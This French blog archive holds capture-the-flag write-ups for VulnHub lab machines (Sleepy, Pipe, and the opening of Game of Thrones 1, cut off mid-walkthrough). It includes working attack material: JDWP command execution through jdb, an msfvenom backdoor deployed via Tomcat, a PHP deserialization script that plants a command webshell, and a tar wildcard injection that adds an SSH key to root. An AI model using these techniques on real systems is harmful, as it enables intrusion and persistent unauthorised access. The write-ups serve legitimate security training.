Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

Archives novembre 2017

Solution du CTF /dev/random: Sleepy de VulnHub

Rédigé par devloop - -

Présentation

Sleepy est un autre CTF créé par Sagi et disponible sur VulnHub.
Ses CTFs sont généralement d'intérêt alors pourquoi se priver ?

Scanner n'est pas jouer

La machine est visiblement protégée derrière un firewall. Bien qu'elle réponde à un ping scan de Nmap lancé en root, le serveur ne répond pas à la commande ping. L'explication se situe dans la page de manuelle de Nmap qui indique qu'en root une requête ARP est aussi effectuée.

Ensuite Nmap ne voit aucun port ouvert lors d'un scan SYN et affiche un message Skipping host 192.168.1.50 due to host timeout.
Avec un scan plus bruyant (sudo nmap -T5 -A -p- --open 192.168.1.50 -PN -sT -sC ) on obtient ce que l'on voulait savoir :
Nmap scan report for 192.168.1.50
Host is up (0.0013s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
MAC Address: 08:00:27:79:0F:C3 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop
Le serveur FTP que Nmap considère comme un vsftpd permet la connexion en anonyme. Il ne contient qu'un seul fichier appartenant à un utilisateur avec l'UID 1002 :
$ ftp anonymous@192.168.1.50
Connected to 192.168.1.50.                                                                                                                                                                    
220 ZzZZzZzz FTP                                                                                                                                                                              
331 Please specify the password.                                                                                                                                                              
Password:                                                                                                                                                                                     
230 Login successful.                                                                                                                                                                         
Remote system type is UNIX.                                                                                                                                                                   
Using binary mode to transfer files.                                                                                                                                                          
ftp> passive
Passive mode: off; fallback to active mode: off.                                                                                                                                              
ftp> ls                                                                                                                                                                                       
200 EPRT command successful. Consider using EPSV.                                                                                                                                             
150 Here comes the directory listing.                                                                                                                                                         
drwxrwxrwx    2 0        1002           23 Jun 19  2015 pub                                                                                                                                   
226 Directory send OK.                                                                                                                                                                        
ftp> cd pub
250 Directory successfully changed.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r--    1 1002     1002       120456 Jun 18  2015 sleepy.png
226 Directory send OK.
ftp> get sleepy.png
local: sleepy.png remote: sleepy.png
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for sleepy.png (120456 bytes).
100% |*************************************************************************************************************************************************************************************************|   117 KiB  459.50 MiB/s    00:00 ETA
226 Transfer complete.
120456 bytes received in 00:00 (351.30 MiB/s)
L'image récupérée est celle du nain Dormeur sur un fond blanc. Aucune métadonnée ni aucune chaîne de caractères intéressante n'est présente dans ce fichier...
L'upload en tant qu'anonyme n'est pas possible, ce qui aurait pu nous arranger par la suite :(

JServ ne suffit pas

Je passerais rapidement sur les tentatives d'exploitation du port 8009 : ce port correspond à un protocole spécial Java sur lequel est généralement rattaché un Tomcat sur le port 8080.
Ici point de port 8080 donc une méthode d'exploitation connue est de configurer soit même un Apache/Tomcat capable de dialoguer avec le port 8009 et d'utiliser le Tomcat comme relais pour les attaques.

On trouve deux tutos ici et .
Il faut pour récupérer un shell utiliser le module tomcat_mgr_deploy de Metasploit ou uploader une archive war (par exemple générée via msfvenom) depuis l'interface du Tomcat.
Cette interface requiert des identifiants valides. Metasploit peut les bruteforcer avec le module tomcat_mgr_login mais même avec la liste rockyou impossible de récupérer un account sur ce CTF.

Le port qui m'aimait

Le port 9001 correspond à un Java Debug Wire Protocol. En bref c'est un port qui permet le débogage distant de la JVM via le débogueur jdb (du paquet jdk qu'il faut donc avoir installé).
Et qui dit débogueur dit possibilité de détourner le flot d'exécution d'un programme ou de faire exécuter ses propres instructions.

Une recherche sur le sujet nous retourne un premier document de prdelka qui nous laisse sur notre fin quand aux résultats obtenus :

JDB access on Sleepy CTF with basic command execution

Certes on peut exécuter des commandes, mais ne pas être en mesure de récupérer l'output ce n'est pas terrible. Je pars alors à la recherche de tips and tricks concernant jdb et je trouve une petite pépite :)

JDB command execution with first line output

Pas mal, ça nous permet de lancer une commande et de récupérer la première ligne de la sortie. Suffisant pour récupérer le nom d'utilisateur sous lequel on tourne via la commande suivante :
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("id").getInputStream())).readLine())
Avec un peu de jugeote on peu utiliser la commande base64 pour récupérer le contenu d'un fichier encodé en une seule ligne :
base64 -w 0 /etc/tomcat/tomcat-users.xml
Le base64 obtenu et décodé permet d'obtenir les credentials du Tomcat : sl33py / Gu3SSmYStR0NgPa$sw0rD!.

Avec des identifiants j'aurais pu enchaîner directement sur le Tomcat mis en place plus tôt mais je voulais profiter un peu plus de cet accès un peu particulier, voir si je pouvais m'offrir un accès sur le serveur malgré le firewall.
Le serveur n'a pas de netcat, pas de wget, pas de tftp en revanche il y a curl et un python2...
Un curl sortant ne donne rien même sur le port 80... Le trafic sortant est donc aussi filtré :(

UDP peut-être ? J'ai écouté sur le port UDP 69 de ma machine et tenté une sortie avec cURL et son support de TFTP (curl tftp://mon_ip/nawak)... mais toujours rien.

IPv6 ? Récupérer l'output de ip -6 addr est compliqué à cause du fait qu'on ne puisse pas placer un pipe ou une redirection dans le jdb :(
Heureusement si je lance un ping6 -c 1 mon_adresse_ipv6 j'obtiens bien une ligne dans un tshark préalablement lancé (sudo tshark -i any icmp6) :
30 51.222553564 2a01:dead:beef:cafe:babe:0ff:1ce:fc3 → 2a01:decaf:f00d:face:bad:a55:c0f3:f26c ICMPv6 120 Echo (ping) request id=0x074e, seq=1, hop limit=64

Je relance un scan Nmap en IPv6, pas de pépites mais au moins on a le serveur Tomcat sans relais :
PORT     STATE SERVICE
8009/tcp open  ajp13
8080/tcp open  http-proxy

Bons baisers de Tomcat

Les identifiants fonctionnent comme on pouvait s'y attendre, malheureusement... c'est le module MSF qui ne parvient pas à nous obtenir quelque chose... Même en testant différentes targets (Linux ou Java) et payloads :'(
J'ai décidé de me remettre à une exploitation plus manuelle comme expliquée sur ce blog.
Il s'agit d'utiliser l'un des shells du projet Laudanum :
Laudanum is a collection of injectable files, designed to be used in a pentest when SQL injection flaws are found and are in multiple languages for different environments.
They provide functionality such as shell, DNS query, LDAP retrieval and others.
Sleepy WAR JSP backdoor

Ce shell est certes plus sexy à première vue... mais on s'aperçoit vite qu'il gère mal aussi les pipes et compagnie... Et il nous faut absolument pouvoir uploader une backdoor digne de ce nom.
Pour cela on va réutiliser la fonctionnalité d'upload du Tomcat en intégrant une backdoor dans une archive war :
msfvenom -p linux/x86/meterpreter/bind_ipv6_tcp LPORT=9999 -f elf > backdoor
Une fois le war déployé on retrouve la backdoor dans l'arborescence du Tomcat. Il ne reste plus qu'à l'exécuter via jdb si on veut un shell avec l'utilisateur sleepy :
print new java.lang.Runtime().exec("/usr/share/tomcat/webapps/cmd/backdoor")

Permis de tuer

Une fois le meterpreter récupéré on fouille un peu :
bash-4.2$ find / -perm -u+s 2> /dev/null
find / -perm -u+s 2> /dev/null
/usr/bin/mount
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/nightmare
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib64/dbus-1/dbus-daemon-launch-helper
bash-4.2$ ls -l /usr/bin/nightmare
ls -l /usr/bin/nightmare
-rwsr-s---. 1 root tomcat 8669 Jan 18  2015 /usr/bin/nightmare
On voit ici un programme baptisé nightmare qui ne semble pas commun (aucun retour après une recherche web), qui plus est le set-gid tomcat fait un peu tâche avec le nom du binaire...
Manque de bol il n'est pas word-readable donc il faut récupérer le binaire en tant que tomcat (ou recopier le binaire et mettre les bonnes permissions dessus pour ensuite le récupérer en tant que sleepy).
Haha quand je pense que je me suis démené pour avoir les droits de sleepy :'D :'( Uh mad bro ?

Une fois le binaire (enfin) obtenu et après un strings rapide on peut le lancer avec ltrace :
__libc_start_main([ "./nightmare" ] <unfinished ...>
memset(0x7fff4e6ecd30, '\0', 152)                                                                                                                  = 0x7fff4e6ecd30
sigaction(SIGINT, { 0x40081f, <>, 0, nil }, nil)                                                                                                   = 0
sigaction(SIGTERM, { 0x40081f, <>, 0, nil }, nil)                                                                                                  = 0
open("/dev/tty", 2, 00)                                                                                                                            = 3
system("/usr/bin/aafire"sh: /usr/bin/aafire: Aucun fichier ou dossier de ce type
 <no return ...>
--- SIGCHLD (Le processus fils a terminé) ---
<... system resumed> )                                                                                                                             = 32512
printf("[+] Again [y/n]? ")                                                                                                                        = 17

getchar(0x7fdc8cbb4011, 0x400a26, 0x7fdc8c992750, 17[+] Again [y/n]? n
)                                                                                              = 110
getchar(0, 0x7fdc8c992760, 110, 0x7fdc8c6d0270)                                                                                                    = 10
puts("Oops.. 'n' is broken"Oops.. 'n' is broken
)                                                                                                                       = 21

getchar(0x7fdc8cbb4011, 0x400a26, 0x7fdc8c992750, 17[+] Again [y/n]? ^C <no return ...>
--- SIGINT (Interrompre) ---
setresuid(0, 0, 0, 0x7fdc8c6d0270)                                                                                                                 = -1
setresgid(0, 0, 0, 0x7fdc8c6ae2e7)                                                                                                                 = -1
system("/usr/bin/sl -al"sh: /usr/bin/sl: Aucun fichier ou dossier de ce type
 <no return ...>
--- SIGCHLD (Le processus fils a terminé) ---
<... system resumed> )                                                                                                                             = 32512
exit(0 <no return ...>
+++ exited (status 0) +++
On peut voir que le programme lance aafire puis rentre dans une boucle demandant si on souhaite relancer ou nom le programme.
La réponse est obtenue par un getchar() donc pas de buffer overflow à première vue.
La réponse 'n' pour sortir de là n'a aucun effet comme indiqué par un message d'erreur... Il faut donc faire un ctrl+C pour en sortir.
Le binaire continue alors son exécution dans un handler mis en place pour attraper le signal correspondant (SIGINT). Ce handler fait un setreuid 0 avant de lancer la commande sl (un programme amusant qui fait défiler une locomotive à l'écran).

La boucle ne semble pas contenir de faille :

nightmare sleepy CTF main function

Il en va de même pour les fonctions appelant les programmes externes (les paths sont absolus) :

nightmare sleepy CTF fire and train functions

J'ai cherché comment exploiter cette situation et après quelques recherches j'ai finalement testé shellshock :

Sleepy CTF nightmare shellshock exploitation

Il faut pouvoir faire un kill -2 depuis un autre shell pour rentrer dans la section du code qui appelle /usr/bin/sl (depuis le jsp c'est parfait).

Alternative ending

J'ai vu après coup qu'il était possible de définir une fonction bash ayant comme nom le chemin complet de sl (puisque c'est celui lancé avec les bonnes permissions) comme l'a fait g0blin et de l'exporter. De cette façon c'est la fonction bash qui est exécutée au lieu de la commande.

Ce comportement est indiqué dans la page de manuel de bash :
Path Search
When locating a command, the shell first looks to see if it has a shell function by that name.
Then it looks for a builtin command by that name. If a builtin command is not found, one of two things happen:
  1. Command names containing a slash are simply executed without performing any searches.
  2. The shell searches each entry in PATH in turn for the command. The value of the PATH variable should be a series of entries separated by colons.
    Each entry consists of a directory name. The current directory may be indicated implicitly by an empty directory name, or explicitly by a single period.
Je ne regarderais plus jamais un appel à system() avec chemin absolu de la même façon :D
Bon CTF en tout cas !

Classé dans : Non classé - Mots clés : aucun

Solution du CTF /dev/random: Pipe de VulnHub

Rédigé par devloop - -

Le CTF Pipe disponible sur VulnHub fait partie de la série de CTF baptisée /dev/random créée par Sagi.

J'ai déjà à ce jour résolu les CTF Relativity et Scream de sa composition.

C'était donc l'occasion de reprendre cette série avec le Pipe qui date de septembre 2015.

Nom d'une pipe !

Nmap scan report for 192.168.1.43
Host is up (0.00031s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   1024 16:48:50:89:e7:c9:1f:90:ff:15:d8:3e:ce:ea:53:8f (DSA)
|   2048 ca:f9:85:be:d7:36:47:51:4f:e6:27:84:72:eb:e8:18 (RSA)
|_  256 d8:47:a0:87:84:b2:eb:f5:be:fc:1c:f1:c9:7f:e3:52 (ECDSA)
80/tcp    open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 401 Unauthorized
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          33906/udp  status
|_  100024  1          59814/tcp  status
59814/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:39:B5:70 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ohé moussaillons, rien à voir sur ce CTF ? Même si le port 80 est ouvert on est reçu par un 401 (demande d'autorisation HTTP Basic dont le titre est seulement index.php).
On va devoir plonger plus profond mon commandant !

Un scan de port UDP (généralement inintéressant sur les CTF) et une tentative de brute-force sur le Apache (ncrack -v -T5 http://192.168.1.43 avec différentes wordlists) et on est pas plus avancé...

Au vu de la version du OpenSSH et de la date de publication du CTF on peut tenter un exploit pour la faille introduite par Debian :
$ python2 exploit.py rsa/2048 192.168.1.43 root 22 5

-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
Tested 20 keys | Remaining 32748 keys | Aprox. Speed 4/sec
Tested 33 keys | Remaining 32735 keys | Aprox. Speed 2/sec
Tested 49 keys | Remaining 32719 keys | Aprox. Speed 3/sec
--- snip ---
Tested 32329 keys | Remaining 439 keys | Aprox. Speed 44/sec
Tested 32549 keys | Remaining 219 keys | Aprox. Speed 44/sec
Tested 32768 keys | Remaining 0 keys | Aprox. Speed 43/sec

Terre ! Terre droit devant !

On lance un petit buster d'URLs et le brouillard commence à se dissiper avec un dossier /scriptz/ sorti des eaux.
On y trouve un fichier php.js qui semble être le portage JS de la fonction serialize() de PHP... indice !
Le second fichier se nomme log.php.BAK et contient le code d'une classe PHP :
<?php
class Log
{
    public $filename = '';
    public $data = '';

    public function __construct()
    {
        $this->filename = '';
        $this->data = '';
    }

    public function PrintLog()
    {
        $pre = "[LOG]";
        $now = date('Y-m-d H:i:s');

        $str = '$pre - $now - $this->data';
        eval("\$str = \"$str\";");
        echo $str;
    }

    public function __destruct()
    {
        file_put_contents($this->filename, $this->data, FILE_APPEND);
    }
}
?>
Ok... and now what ?
On peut reprendre la classe Log, instancier un objet puis le sérializer :
$l = new Log();
$l->filename = "index.php";
$l->data = "hi there";
echo urlencode(serialize($l));
Mais après on l'injecte comment ? Via l'authentification HTTP ? Marche pas :'(

On se dit alors que peut être l'authentification est mal écrite et qu'il est facile de la bypasser. Pou cela je dégaine wapiti3 (version de développement) :
./bin/wapiti http://192.168.1.43/ -s http://192.168.1.43/index.php -m htaccess --color
Et le miracle s'accomplit :
Wapiti htaccess bypass

Mégateuf Wayne ! On peut accéder à la page si on effectue par exemple un POST à la place d'un GET sur /index.php.
La page découverte contient un formulaire qui envoie le contenu sérialisé suivant sur elle même :
O:4:"Info":4:{s:2:"id";i:1;s:9:"firstname";s:4:"Rene";s:7:"surname";s:8:"Margitte";s:7:"artwork";s:23:"The Treachery of Images";}
Il faut donc utiliser l'appel à unserialize() effectué par la page pour exploiter la classe Log vu plus haut.

Explorons cette nouvelle contrée

Après moult essais à essayer de tirer quelque chose de la fonction eval() de la classe Log (on recopie les scripts pour tester en local), force est de constater que celle-ci est une sirène destinée à nous séduire et nous retarder dans notre quête !
Un echo bien placé permet de comprendre que l'on peut rien en tirer.

Le file_put_contents est donc bien prometteur mais l'option FILE_APPEND a de quoi refroidir :-(

Comment savoir qu'on va bien écrire ce que l'on souhaite où on le souhaite ? On peut commencer par exploiter les fonctionnalités avancés du langage PHP, notamment les wrappers.
J'ai écrit le code suivant qui tente d'écrire à une adresse FTP sous notre contrôle :
from urllib.parse import quote, unquote
import requests

original_payload = 'O:4:"Info":4:{s:2:"id";i:1;s:9:"firstname";s:4:"Rene";s:7:"surname";s:8:"Margitte";s:7:"artwork";s:23:"The Treachery of Images";}'

base_payload = 'O:3:"Log":2:{s:8:"filename";s:SIZE1:"OUTPUT_FILE";s:4:"data";s:SIZE2:"INJECTION";}'

injection = "nawak"
output_file = "ftp://test:test@192.168.1.6/toto"

new_payload = base_payload.replace("SIZE1", str(len(output_file))).replace("OUTPUT_FILE", output_file)
new_payload = new_payload.replace("SIZE2", str(len(injection))).replace("INJECTION", injection)
print(new_payload)

response = requests.post(
    "http://192.168.1.43/index.php",
    data={"param": new_payload},
    headers={
        "referer":"http://192.168.1.43/index.php",
        "content-type": "application/x-www-form-urlencoded"
    }
)

print(response.text)
et le miracle s'accomplit dans un ncat préalablement lancé :
$ sudo ncat -l -p 21 -v
Ncat: Version 7.01 ( https://nmap.org/ncat )
Ncat: Listening on :::21
Ncat: Listening on 0.0.0.0:21
Ncat: Connection from 192.168.1.43.
Ncat: Connection from 192.168.1.43:37731.
Deux choses à en tirer : la dé-sérialisation a bien lieu et le path est pris directement (pas de prépend). Pour autant quand on tente d'écrire dans un script via un chemin relatif je ne vois rien apparaître.

A l'abordage !

Après avoir testé quelques chemins absolus j'obtiens une écriture avec les modifications suivantes dans mon script :
injection = '/* yoyo */'
output_file = "/var/www/html/scriptz/php.js"
Ok, maintenant il s'agit d'injecter du code PHP et il ne faut pas se louper car si on introduit une erreur de syntaxe dans le index.php ça va être dûr à rattraper :|
injection = '---START---<?php system($_POST["cmd"?>---END---'
output_file = "/var/www/html/index.php"
Et on est bon ! On peut maintenant exécuter un ls avec la commande curl --data "cmd=ls" http://192.168.1.43/index.php
Je code un pseudo shell pour la route :
import requests
from requests.exceptions import RequestException

while True:
    command = input("$ ")
    if command.lower().strip() == "exit":
        break

    response = requests.post(
        "http://192.168.1.43/index.php",
        data={"cmd": command}
    )

    if "---START---" in response.text:
        output = response.text.split("---START---")[1]
        output = output.split("---END---")[0]
        print(output)

Chasse au trésor !

devloop$ python shell.py
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ ls /home
rene
Il y a un utilisateur rene (par rapport à Magritte autour duquel tourne le CTF)
Cet utilisateur a un dossier personnel que l'on peut visiter et plus encore :
$ ls -alR /home/rene
/home/rene:
total 24
drwxr-xr-x 3 rene rene 4096 Jul  6  2015 .
drwxr-xr-x 3 root root 4096 Jul  5  2015 ..
-rw-r--r-- 1 rene rene  220 Jul  5  2015 .bash_logout
-rw-r--r-- 1 rene rene 3515 Jul  5  2015 .bashrc
-rw-r--r-- 1 rene rene  675 Jul  5  2015 .profile
drwxrwxrwx 2 rene rene 4096 Nov 12 05:28 backup

/home/rene/backup:
total 124
drwxrwxrwx 2 rene rene  4096 Nov 12 05:28 .
drwxr-xr-x 3 rene rene  4096 Jul  6  2015 ..
-rw-r--r-- 1 rene rene 62220 Nov 12 05:25 backup.tar.gz
-rw-r--r-- 1 rene rene 31148 Nov 12 05:28 sys-12904.BAK
-rw-r--r-- 1 rene rene  4679 Nov 12 05:27 sys-6694.BAK
-rw-r--r-- 1 rene rene 10893 Nov 12 05:26 sys-9653.BAK

$ file /home/rene/backup/*
/home/rene/backup/backup.tar.gz: gzip compressed data, last modified: Thu Nov 12 05:25:01 2017, from Unix
/home/rene/backup/sys-12904.BAK: data
/home/rene/backup/sys-4998.BAK:  data
/home/rene/backup/sys-6694.BAK:  Linux old jffs2 filesystem data little endian
/home/rene/backup/sys-9653.BAK:  data
En attendant voici la config qui nous bloquait l'accès à Apache :
$ cat .htaccess
AuthUserFile /var/www/html/.htpasswd
AuthName "index.php"
AuthType Basic
<Limit GET PUT HEAD OPTIONS DELETE>
require valid-user
</Limit>

$ cat .htpasswd
rene:$apr1$wfYjXf4U$0ZZ.qhGGrtkOxvKr5WFqX/
Le hash semble trop complexe à casser donc on déplace juste le .htaccess et on n'est plus embêté :)

Les fichiers .BAK (que l'on retrouve aussi dans l'archive .tar.gz) ne semblent pas correspondre à grand chose. Un coup d'oeil via un éditeur hexa ne nous met sur aucune piste.
Même en ressortant mon Guide complet du FreeBSD (superbe livre au passage) sur la section des backups je n'ai rien trouvé qui pourrait me diriger sur le sujet. De plus dump et restore ne sont pas présents sur le système.

Un peu plus tard je remarque que les fichiers .BAK ont disparus... Crontab bien sûr :
* * * * * root /root/create_backup.sh
*/5 * * * * root /usr/bin/compress.sh
Le premier est inaccessible mais le second est lisible :
#!/bin/sh

rm -f /home/rene/backup/backup.tar.gz
cd /home/rene/backup
tar cfz /home/rene/backup/backup.tar.gz *
chown rene:rene /home/rene/backup/backup.tar.gz
rm -f /home/rene/backup/*.BAK
Je lance quelques idées :
  • Tenter de placer un lien symbolique par exemple vers /etc/shadow pour que tar l'archive : échec car tar ne suit pas les liens
  • Exploiter une race condition entre le cd et le tar. Si on supprime le dossier backup et qu'on créé un lien symbolique vers /root et qu'on a réparé ça avant l'appel à tar on peut en théorie récupérer le contenu de /root. Sauf que l'on manque de droit et ça aurait été très chaud...
Heureusement ça a finir par faire tilt quand je me suis rappelé le principe des attaques wildcards : vu que la commande tar utilise l'astérisque et que ce dernier n'est pas entre quotes, il est possible de créer des fichiers dont les noms seront utilisés comme arguments de la commande.

Je vois bien une option dans la page de man de tar mais elle n'est utilisée que lors d'une décompression :
--to-command=COMMAND
    pipe extracted files to another program
J'ai fini par trouver une astuce qui utilise les checkpoints.
D'abord je créé un script evil.sh dans /home/rene/backup :
#!/bin/bash
mkdir -p /root/.ssh/
echo "ssh-rsa [--- ma clé publique ssh ---]" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
cp /root/flag.txt /tmp/
chmod o+r /tmp/flag.txt
Ce script rajoute ma clé publique SSH aux clés autorisées de root et au cas où je recopie aussi le flag.
Il ne reste plus qu'à mettre en place les fichiers qui vont s'injecter dans la commande du crontab :
cd /home/rene/backup; touch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh evil.sh"; touch a
On attend un peu et on touche le jackpot :
PIPE CTF flag


Au passage le script qui générait les fichiers BAK n'était là que pour la forme :
#!/bin/bash

head -c $RANDOM /dev/urandom > "/home/rene/backup/sys-$RANDOM.BAK"
chown rene:rene /home/rene/backup/*.BAK

Classé dans : Non classé - Mots clés : aucun

Solution du CTF Game of Thrones: 1 de VulnHub

Rédigé par devloop - -

Introduction

Comme le laisse supposer le nom du CTF on a ici affaire à un challenge très fortement inspiré de la série TV, elle même inspirée des romans de l'auteur George R. R. Martin.
La description du challenge permet de savoir à quoi nous attendre :
  • des indices à lire attentivement donc potentiellement cryptiques
  • des flags à récupérer d'une longueur de 32 caractères chacun
  • aucune connaissance de la série TV n'est nécessaire
  • des mécanismes anti-force brute présents (fail2ban)
  • un niveau général de difficulté entre moyen et difficile
Bref de quoi mettre l'eau à la bouche :)

Un scan approfondi de port... réal

Bien-sûr la première chose à faire sur un CTF de ce type est de voir quelles sont les différentes portes.
Nmap scan report for 192.168.1.30
Host is up (0.00076s latency).
Not shown: 65526 closed ports
PORT      STATE    SERVICE     VERSION
21/tcp    open     ftp?
22/tcp    open     ssh         Linksys WRT45G modified dropbear sshd (protocol 2.0)
| ssh-hostkey: 
|   2048 e6:5b:d7:78:6b:86:4f:9b:35:40:9f:c7:1f:dd:0d:9f (RSA)
|_  256 b8:e3:30:88:2e:ba:56:f2:49:b0:cc:35:c7:cc:48:06 (ECDSA)
53/tcp    open     domain      ISC BIND Bind
| dns-nsid: 
|_  bind.version: Bind
80/tcp    open     http        Apache httpd
| http-robots.txt: 2 disallowed entries 
|_/secret-island/ /direct-access-to-kings-landing/
|_http-server-header: Apache
|_http-title: Game of Thrones CTF
143/tcp   filtered imap
1337/tcp  open     http        nginx
| http-auth:
| HTTP/1.1 401 Unauthorized
|_  Basic realm=Welcome to Casterly Rock
|_http-server-header: nginx
|_http-title: 401 Authorization Required
3306/tcp  filtered mysql
5432/tcp  open     postgresql?
10000/tcp open     http        MiniServ 1.590 (Webmin httpd)
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: MiniServ/1.590
|_http-title: Login to Stormlands
La page d'index du site (port 80) affiche juste les blasons des différentes familles et les mots Game of Thrones le tout sur un fond musical.
Le code HTML de la page contient quelques indices en commentaires :
The game already started!! A couple of hints as a present.
"Everything can be TAGGED in this world, even the magic or the music" - Bronn of the Blackwater
"To enter in Dorne you'll need to be a kind face" - Ellaria Sand
On tilte immédiatement sur l'indice sur les tags. D'autant plus que dans le même code HTML on peut voir deux balises media, l'une pour un wav et l'autre pour un mp3.
Un petit exiftool sur le fichier mp3 nous offre notre premier flag :
ExifTool Version Number         : 10.10
File Name                       : game_of_thrones.mp3
Directory                       : .
File Size                       : 1646 kB
File Modification Date/Time     : 2017:08:22 01:39:19+02:00
File Access Date/Time           : 2017:10:25 15:52:57+01:00
File Inode Change Date/Time     : 2017:10:25 15:52:57+01:00
File Permissions                : rw-rw-r--
File Type                       : MP3
File Type Extension             : mp3
MIME Type                       : audio/mpeg
MPEG Audio Version              : 1
Audio Layer                     : 3
Audio Bitrate                   : 128 kbps
Sample Rate                     : 44100
Channel Mode                    : Joint Stereo
MS Stereo                       : On
Intensity Stereo                : Off
Copyright Flag                  : False
Original Media                  : True
Emphasis                        : None
Encoder                         : LAME3.97
Lame VBR Quality                : 4
Lame Quality                    : 5
Lame Method                     : CBR
Lame Low Pass Filter            : 17 kHz
Lame Bitrate                    : 128 kbps
Lame Stereo Mode                : Joint Stereo
Cover Art Front Desc            : Cover Art (Front).jpg
Cover Art Front                 : (Binary data 38227 bytes, use -b option to extract)
ID3 Size                        : 40571
Album                           : O.S.T.
Comment                         : Savages secret flag: 8bf8854bebe108183caeb845c7676ae4
Title                           : Game of Thrones - Main theme
Picture MIME Type               : image/jpeg
Picture Type                    : Front Cover
Picture Description             : Cover Art (Front).jpg
Picture                         : (Binary data 38227 bytes, use -b option to extract)
Artist                          :
Year                            :
Genre                           : None
Duration                        : 0:01:42 (approx)
Jetons maintenant un œil aux entrées du robots.txt.
Si on se rend sur la première entrée on tombe sur une image de Jon Snow mourrant à Castle Black. Rien d'intéressant pour nous ici, sauf si bien sûr on spécifie le bon user-agent :
curl -A Three-eyed-raven http://192.168.1.30/the-tree/
Cette fois-ci la page html contient différents indices utiles fournis par Bran Stark :
"I will give you three hints, I can see the future so listen carefully" - The three-eyed raven Bran Stark

"To enter in Dorne you must identify as oberynmartell. You still should find the password"
"3487 64535 12345 . Remember these numbers, you'll need to use them with POLITE people you'll know when to use them"
"The savages never crossed the wall. So you must look for them before crossing it"
Le premier indice ne semble pas nous concerner pour le moment.
Le second semble clairement suggérer un scan de port à faire avec Nmap (POLITE est l'une des valeurs possibles pour l'option -T permettant de spécifier la vitesse du scan). Les chiffres sont donc des ports. Cependant il semble que l'on ait pas à le faire immédiatement.
Le dernier indices concernent les sauvageons or on a déjà récupéré le flag correspondant.

Inutile de baisser les bras, après tout il nous reste deux entrées dans le robots.txt.
L'URL /direct-access-to-kings-landing/ est bien sûr uniquement là pour nous narguer, toutefois un indice (inutile pour nous) est présent en commentaire :
"I've heard the savages usually play music. They are not as wild as one can expect, are they?" - Sansa Stark
L'autre entrée a une véritable utilité puisqu'il s'agit d'une carte qui donne les différentes étapes du jeu à passer et l'ordre à suivre.

Map to Westeros

Voici une retranscription textuelle des différentes étapes :
The seven kingdoms (flags):
  1 - Dorne (ftp)
  2 - The Wall & The North (http)
  3 - Iron Islands (dns)
  4 - Stormlands (webmin)
  5 - Mountain and the Vale (postgresql)
  6 - The Reach (imap)
  7 - The Rock and King’s Landing (gitlist and mysql)

Extra content:
  Final Battle (ssh):   Against White Walkers

3 secret flags:
  Savages
  City of Braavos
  Dragonglass Mine

Allez on Dorne tout ce qu'on a !

Ok donc on a eu l'un des flags secrets (Savages) mais bon c'était un peu la salade d'accueil de Buffalo... Il faut maintenant passer au plat de résistance avec le premier royaume, celui de Dorne.
Et ça semble plutôt (ou Dingo ?) bien parti puisque l'on a déjà le nom d'utilisateur du FTP (oberynmartell)

Je continue de fouiller et via le brute force des urls je trouve /raven.php avec l'indice suivant :
You received a raven with this message:
"To pass through the wall, mcrypt spell will help you. It doesn't matter who you are, only the key is needed to open the secret door" - Anonymous
Hmmmm...k Pas vraiment ce que j'espérais.
Je trouve d'autres indices dans le fichier /js/game_of_thrones.js
"You'll never enter into King's Landing through the main gates. The queen ordered to close them permanently until the end of the war" - Tywin Lannister

"If you put a city under siege, after five attacks you'll be banned two minutes" - Aegon the Conqueror and His Conquest of Westeros Book
Aïe aïe aïe, de quoi se sentir comme un Greyjoy qui viendrait de rencontrer un Bolton... Mais haut le(s) cœur(s) ! On doit faire Hodor à ce CTF !
Dans ma quête j'ai demandé conseil à l'auteur du CTF qui m'a dit d'insister sur le brute force des URLs que j'avais déjà fait. J'avais bien vu un dossier /h/ qui retournait un code 403 et j'avais cherché à l'intérieur les URLs ne répondant pas par 403.
Mais en fouillant plus on découvre un sous dossier 'i' qui répond par 403 alors que les autres répondent en fait par 404. Du coup j'essaye /h/i/t... aucun résultat. Puis /h/i/d qui retourne un 403.
Par trop difficile ensuite de trouver l'URL /h/i/d/d/e/n/ qui contient les indices suivants :
